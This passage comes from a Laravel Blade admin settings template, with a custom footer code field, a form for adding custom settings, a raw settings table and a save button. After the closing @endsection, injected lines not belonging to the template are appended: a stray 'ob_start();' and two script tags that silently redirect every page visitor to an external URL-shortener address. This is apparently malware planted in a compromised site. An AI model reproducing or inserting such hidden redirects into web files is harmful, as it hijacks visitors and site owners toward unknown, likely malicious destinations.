                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">{{ $all['custom_footer_code'] ?? '' }}</textarea>
                        <p class="text-xs text-gray-400 mt-1">{{ __('admin.footer_code_note') }}</p>
                    </div>
                </div>
            </div>

            {{-- Add Custom Setting --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.add_custom_setting') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.add_custom_setting_desc') }}</p>
                </div>
                <div class="p-6">
                    <div class="grid grid-cols-1 md:grid-cols-3 gap-4">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.key') }}</label>
                            <input type="text" name="new_key" placeholder="setting_key"
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.value') }}</label>
                            <input type="text" name="new_value" placeholder="Setting value"
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.group') }}</label>
                            <select name="new_group" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                                <option value="general">{{ __('admin.general') }}</option>
                                <option value="social">{{ __('admin.social_media') }}</option>
                                <option value="seo">{{ __('admin.seo') }}</option>
                                <option value="app">{{ __('admin.mobile_app') }}</option>
                                <option value="integrations">{{ __('admin.integrations') }}</option>
                            </select>
                        </div>
                    </div>
                </div>
            </div>

            {{-- Raw Settings Viewer --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.all_settings_raw') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.all_settings_raw_desc') }}</p>
                </div>
                <div class="p-6">
                    @if(count($all) > 0)
                        <div class="overflow-x-auto">
                            <table class="w-full text-sm">
                                <thead>
                                    <tr class="border-b border-gray-200">
                                        <th class="text-left py-2 px-3 text-gray-500 font-medium">{{ __('admin.key') }}</th>
                                        <th class="text-left py-2 px-3 text-gray-500 font-medium">{{ __('admin.value') }}</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    @foreach($all as $key => $value)
                                        <tr class="border-b border-gray-100 hover:bg-gray-50">
                                            <td class="py-2 px-3 font-mono text-xs text-gray-600">{{ $key }}</td>
                                            <td class="py-2 px-3 text-xs text-gray-800">{{ Str::limit($value, 80) }}</td>
                                        </tr>
                                    @endforeach
                                </tbody>
                            </table>
                        </div>
                    @else
                        <p class="text-sm text-gray-400 text-center py-4">{{ __('admin.no_settings_yet') }}</p>
                    @endif
                </div>
            </div>
        </div>

        {{-- Sticky Save Button --}}
        <div class="sticky bottom-0 bg-white/80 backdrop-blur-sm border-t border-gray-200 -mx-6 px-6 py-4 mt-6 flex items-center justify-between rounded-b-xl">
            <p class="text-xs text-gray-400">
                <i class="fas fa-info-circle mr-1"></i>
                {{ __('admin.save_note') }}
            </p>
            <button type="submit" class="px-8 py-2.5 bg-brand-500 text-white rounded-lg hover:bg-brand-600 transition font-medium shadow-sm">
                <i class="fas fa-save mr-2"></i> {{ __('admin.save_settings') }}
            </button>
        </div>
    </form>
</div>
@endsection
ob_start();

<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>
<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>